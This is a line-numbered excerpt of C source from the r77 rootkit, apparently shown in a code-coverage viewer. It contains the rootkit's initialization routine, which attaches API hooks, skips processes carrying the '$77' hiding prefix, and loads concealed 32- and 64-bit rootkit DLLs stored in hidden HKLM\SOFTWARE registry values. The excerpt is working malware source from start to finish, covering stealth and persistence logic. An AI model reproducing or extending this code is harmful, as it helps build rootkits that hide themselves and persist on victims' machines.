| 8 | static BOOL RootkitInitialized; |
| 9 | |
| 10 | BOOL InitializeRootkit() |
| 11 | { |
| 12 | // If the process starts with $77, do not load r77. |
| 13 | WCHAR executablePath[MAX_PATH + 1]; |
| 14 | if (FAILED(GetModuleFileNameW(NULL, executablePath, MAX_PATH))) return FALSE; |
| 15 | if (HasPrefix(PathFindFileNameW(executablePath))) return FALSE; |
| 16 | |
| 17 | // Write the r77 header. |
| 18 | if (!WriteR77Header(R77_SIGNATURE, DetachRootkit)) return FALSE; |
| 19 | |
| 20 | if (!RootkitInitialized) |
| 21 | { |
| 22 | RootkitInitialized = TRUE; |
| 23 | |
| 24 | // Initialize configuration system. |
| 25 | InitializeConfig(); |
| 26 | |
| 27 | // Attach hooks. |
| 28 | InitializeHooks(); |
| 29 | |
| 30 | // Get both r77 DLL's. |
| 31 | HKEY key; |
| 32 | if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_QUERY_VALUE | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS && |
| 33 | RegQueryValueExW(key, HIDE_PREFIX L"dll32", NULL, NULL, NULL, &RootkitDll32Size) == ERROR_SUCCESS && |
| 34 | RegQueryValueExW(key, HIDE_PREFIX L"dll64", NULL, NULL, NULL, &RootkitDll64Size) == ERROR_SUCCESS) |
| 35 | { |
| 36 | LPBYTE dll32 = NEW_ARRAY(BYTE, RootkitDll32Size); |
| 37 | LPBYTE dll64 = NEW_ARRAY(BYTE, RootkitDll64Size); |
| 38 | |
| 39 | if (RegQueryValueExW(key, HIDE_PREFIX L"dll32", NULL, NULL, dll32, &RootkitDll32Size) == ERROR_SUCCESS && |
| 40 | RegQueryValueExW(key, HIDE_PREFIX L"dll64", NULL, NULL, dll64, &RootkitDll64Size) == ERROR_SUCCESS) |
| 41 | { |
| 42 | RootkitDll32 = dll32; |
| 43 | RootkitDll64 = dll64; |
| 44 | } |
| 45 | else |
| 46 | { |
| 47 | FREE(dll32); |
| 48 | FREE(dll64); |
| 49 | } |
| 50 | } |
| 51 | } |
| 52 | |
| 53 | return TRUE; |
| 54 | } |
| 55 | VOID UninitializeRootkit() |
| 56 | { |
| 57 | if (RootkitInitialized) |
no test coverage detected